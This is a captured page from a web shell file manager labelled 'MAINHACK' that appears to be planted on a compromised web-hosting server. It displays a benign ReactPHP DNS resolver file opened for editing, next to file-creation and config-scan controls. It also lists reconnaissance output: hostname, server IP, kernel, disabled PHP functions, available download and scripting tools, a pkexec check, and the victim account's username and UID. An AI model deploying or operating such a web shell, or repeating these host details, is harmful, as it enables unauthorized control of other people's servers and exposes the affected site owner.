[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HostsFileExecutor.php
File is not writable. Editing disabled.
<?php namespace RectorPrefix202411\React\Dns\Query; use RectorPrefix202411\React\Dns\Config\HostsFile; use RectorPrefix202411\React\Dns\Model\Message; use RectorPrefix202411\React\Dns\Model\Record; use RectorPrefix202411\React\Promise; /** * Resolves hosts from the given HostsFile or falls back to another executor * * If the host is found in the hosts file, it will not be passed to the actual * DNS executor. If the host is not found in the hosts file, it will be passed * to the DNS executor as a fallback. */ final class HostsFileExecutor implements ExecutorInterface { private $hosts; private $fallback; public function __construct(HostsFile $hosts, ExecutorInterface $fallback) { $this->hosts = $hosts; $this->fallback = $fallback; } public function query(Query $query) { if ($query->class === Message::CLASS_IN && ($query->type === Message::TYPE_A || $query->type === Message::TYPE_AAAA)) { // forward lookup for type A or AAAA $records = array(); $expectsColon = $query->type === Message::TYPE_AAAA; foreach ($this->hosts->getIpsForHost($query->name) as $ip) { // ensure this is an IPv4/IPV6 address according to query type if ((\strpos($ip, ':') !== \false) === $expectsColon) { $records[] = new Record($query->name, $query->type, $query->class, 0, $ip); } } if ($records) { return Promise\resolve(Message::createResponseWithAnswersForQuery($query, $records)); } } elseif ($query->class === Message::CLASS_IN && $query->type === Message::TYPE_PTR) { // reverse lookup: extract IPv4 or IPv6 from special `.arpa` domain $ip = $this->getIpFromHost($query->name); if ($ip !== null) { $records = array(); foreach ($this->hosts->getHostsForIp($ip) as $host) { $records[] = new Record($query->name, $query->type, $query->class, 0, $host); } if ($records) { return Promise\resolve(Message::createResponseWithAnswersForQuery($query, $records)); } } } return $this->fallback->query($query); } private function getIpFromHost($host) { if (\substr($host, -13) === '.in-addr.arpa') { // IPv4: read as IP and reverse bytes $ip = @\inet_pton(\substr($host, 0, -13)); if ($ip === \false || isset($ip[4])) { return null; } return \inet_ntop(\strrev($ip)); } elseif (\substr($host, -9) === '.ip6.arpa') { // IPv6: replace dots, reverse nibbles and interpret as hexadecimal string $ip = @\inet_ntop(\pack('H*', \strrev(\str_replace('.', '', \substr($host, 0, -9))))); if ($ip === \false) { return null; } return $ip; } else { return null; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A